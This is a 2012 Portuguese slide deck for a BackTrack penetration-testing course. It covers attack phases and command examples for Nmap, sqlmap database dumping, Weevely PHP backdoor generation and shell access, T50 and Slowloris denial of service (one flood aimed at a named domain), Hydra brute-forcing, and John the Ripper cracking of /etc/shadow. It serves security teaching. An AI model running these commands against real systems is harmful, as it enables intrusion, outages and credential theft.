Upload
evandrovv
View
4.499
Download
8
Embed Size (px)
DESCRIPTION
Mini curso sobre pen test - apresentado na univem 2012
Citation preview
Mini Curso:Mini Curso:Pen test com Pen test com BacktrackBacktrackEvandro Villa VerdeEvandro Villa Verde
Objetivo:
Fornecer ao aluno uma visão geral sobre testes de invasão
Entender a anatomia e os tipos diferentes de ataques
Conhecer as fases de um teste de invasão
Conhecer as metodologias e os apectos legais
Visão:
O Teste de Invasão é um processo de
análise detalhada do nível de
segurança de um sistema ou rede
usando a perspectiva de um infrator.
O objetivo principal é simular de forma
controlada um ataque real que
normalmente é executado por criminosos.
Fases:
Os procedimentos realizados por um profissional
de teste de intrusão é similar aos realizados
pelos crackers, diferindo na intenção do ataque.
1. Levantamento de informações (nome,telefone,endereço)
2. Varredura (s.o,rede,serviços,firewall)
3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)
4. Manter acesso (backdoor e rootkits)
5. Apagar rastro
Backtrack:
Backtrack é um sistema operacional linux baseado no Ubuntu.
É focado em testes de seguranças e testes de penetração (pen tests), muito apreciada por hackers e analistas de segurança, podendo ser iniciado diretamente pelo CD (sem necessidade de instalar em disco), mídia removível (pendrive), máquinas virtuais ou direto no disco rígido.
Fonte: http://pt.wikipedia.org/wiki/BackTrack
Backtrack:
Ele é a fusão de duas distribuições que eram bem conhecidas na época:
- Whax e Auditor Security Collection
Eleito em 2006 como a Distribuição Live de Segurança número 1º em sua categoria
O BT possui mais de 300 ferramentas, que vão desde teste de intrusão até Analise Forense Digital.
Versão atual é BackTrack 5 R3 Released! Aug 13, 2012
Problema:
BackTrack e os Drivers para Wifi e vídeo.
Ubuntu desatualizado
Nmap:
Nmap é um software livre que realiza port scan desenvolvido pelo Gordon Lyon, autoproclamado hacker "Fyodor.
Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços sendo executados.
Nmap:
-sP Ping scan: Algumas vezes é necessário saber se um
determinado host ou rede estáno ar. Nmap pode enviar pacotes ICMP “echo request” para
verificar sedeterminado host ou rede está ativa. Hoje em dia, existem muitos filtros
querejeitam os pacotes ICMP “echo request”, então envia um pacote TCP ACK paraa porta 80
(default) e caso receba RST o alvo está ativo. A terceira técnica enviaum pacote SYN e
espera um RST ou SYN-ACK. Nmap –sP 192.168.1.254 Nmap –sP 192.168.1.0/24
Nmap:
TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, aporta está aberta, enquanto um como resposta indica que a porta está fechada.
A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.
Nmap –sS 192.168.1.254 Nmap –sS 192.168.1.0/24
Nmap:
-sT TCP connect() scan: É a técnica mais básica de
TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado
Nmap –sT 192.168.1.254 Nmap –sT 192.168.1.0/24
Nmap:
-sU UDP scan: Este método é utilizado para determinar
qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada portado host.
Se for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.
Nmap –sU 192.168.1.254
Nmap:
-O Ativa a identificação do host remoto via TCP/IP. Irá
apresentar versão do Sistema Operacional e tempo ativo. Ex.: nmap -O alvo
-v Modo verbose. Mostra tudo o que está se
passando. Ex.: nmap -v alvo
Nmap:
-F Procura pelas portas que estão no /etc/services.
Método mais rápido, porém não procurar por todas as portas.
Ex.: nmap -F alvo
-P0 Não tenta pingar o host antes de iniciar a
varredura. Isto permite varrer alvos que bloqueiam ICMP “echo request (ou responses)” através de firewall.
Ex.: nmap -P0 alvo
Xprobe2:
Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo.
Exemplo:
xprobe2 [host-name] xprobe2 <ip>
Nikto :
Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele
faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração.
Para atualizar e executar o Nikto, utilizamos os seguintes comandos:
# ./nikto.pl -update # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
SQL Map:
Local: /pentest/database/sqlmap
String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
SQL Map :
“Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.”
O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
SQL Map :
--help Mostra as opções do SQLMAP --current-db Apresenta o banco de dados atual Exemplo: ./sqlmap.py --
url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
--banner Pega o Banner do DBMS Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" -b --dbs Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --
url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
SQL Map :
--tables Apresenta as tabelas do banco selecionado Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
-D acuart --tables --columns Apresenta as colunas da tabela selecionada Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --dump Extrai as informações da colunas selecionadas Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
-D acuart -T users -C 'uname,pass' --dump
SQL Map : --current-user Apresenta o usuário ao qual a página está usando para se
conectar ao banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user
--is-dba Verifica se o usuário atual é administrador do Banco Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --users Enumera todos os usuários Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --users --search Varre o banco atrás do que você procura, pode ser um banco,
tabela ou coluna Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’
SQL Map :
--user-agent Altera o nome do user Agent durante o ataque Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
--user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
--level=1-5 Seta o nível de performance que ele irá utilizar para efetuar
a varredura --risk=1-3 Seta o nível de risco de performance que o sqlmap efetuará
para a varredura
Weevely:
Local: /pentest/backdoors/web/weevely
String: ./weevely <url> <password> <command>
Weevely:
Weevely é um backdoor PHP discreto que simula uma conexão telnet. É uma ferramenta essencial para ser injetada após a exploração de uma vulnerabilidade de uma aplicação web. Com uma permissão básica para fazer upload de arquivos PHP, você só precisa gerar e fazer o upload do código do "servidor" PHP no alvo, e executado localmente o Weevely transmiti comandos de shell.
Weevely:
Uso: Gerando o Backdoor: ./weevely generate teste/tmp/back.php # Cria um backdoor com a senha eSecurity na
pasta /tmp
./weevely http://www.sitevul.com/back.php teste # Acessa a shell utilizando a senha teste
DoS:
T50 ferramenta de desenvolvida por um brasileiro, Nelson Brito, capaz de fazer ataques DoS e DDoS usando o conceito de stress testing:
# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP
./t50 192.168.1.105 --flood --turbo --dport 80 -S –protocol
--flood --turbo (Aumenta a performance) -S (envia a flag SYN)
DoS:
Slowloris: Atacandos velhos apaches # wget
http://ha.ckers.org/slowloris/slowloris.pl # chmod 777 slowloris.pl
Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo
Hydra:
THC-Hydra (Last update 2012-05-23)
String: hydra –L <login> -P <passwd> <ip> <serv>
Hydra:
# hydra –l root -p toor –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no loopback na porta SSH
# hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt com
hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"
Passwd:
O arquivo /etc/passwd contém informações sobre todos os usuários, inclusive as suas senhas criptografadas. Ele é legível por todos os usuários e, por isso, estas senhas podem ser facilmente crackeadas. Para combater esta vulnerabilidade foi desenvolvido o sistema de sombreamento de senhas, os shadows passwords.
Quando o sistema de sombreamento de senhas está disponível, o campo password do arquivo /etc/passwd é substituído por um "x" e o password do usuário é armazenado no arquivo /etc/shadow. Por esta razão o /etc/shadow é legível somente pelo usuário root. Desta maneira o arquivo /etc/shadow dificulta a ação de crackers.
John :
Local: /pentest/passwords/john
String: ./john arquivo.db
John : John the Ripper é um software para quebra de
senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em vários sistemas operativos (como DOS, Windows, Linux, BSD). Disponível em versão livre e paga, o John the Ripper é capaz fazer força bruta em senhas cifradas em DES, MD4 e MD5 entre outras
Dicionário (Wordlist): sendo o modo mais simples.
Quebra Simples (Single Crack): mais indicado para início de uma quebra e mais rápido que o wordlist
John :
Ferramenta: Unshadow
Utilizada para unir os arquivos passwd e shadow para posteriormente ser quebrada pelo John the Ripper
Exemplo: ./unshadow /etc/passwd /etc/shadow >> hash.db
Agora quebramos usando: ./john hash.db
John :
./john senhas.txt # O modo mais simples de se usar o John é especificar o arquivo que tem as senhas e usuário e deixar ele fazer tudo
automaticamente. Ele irá começar com o modo single crack, depois irá passar para o modo wordlist e finalmente irá passar para o modo incremental.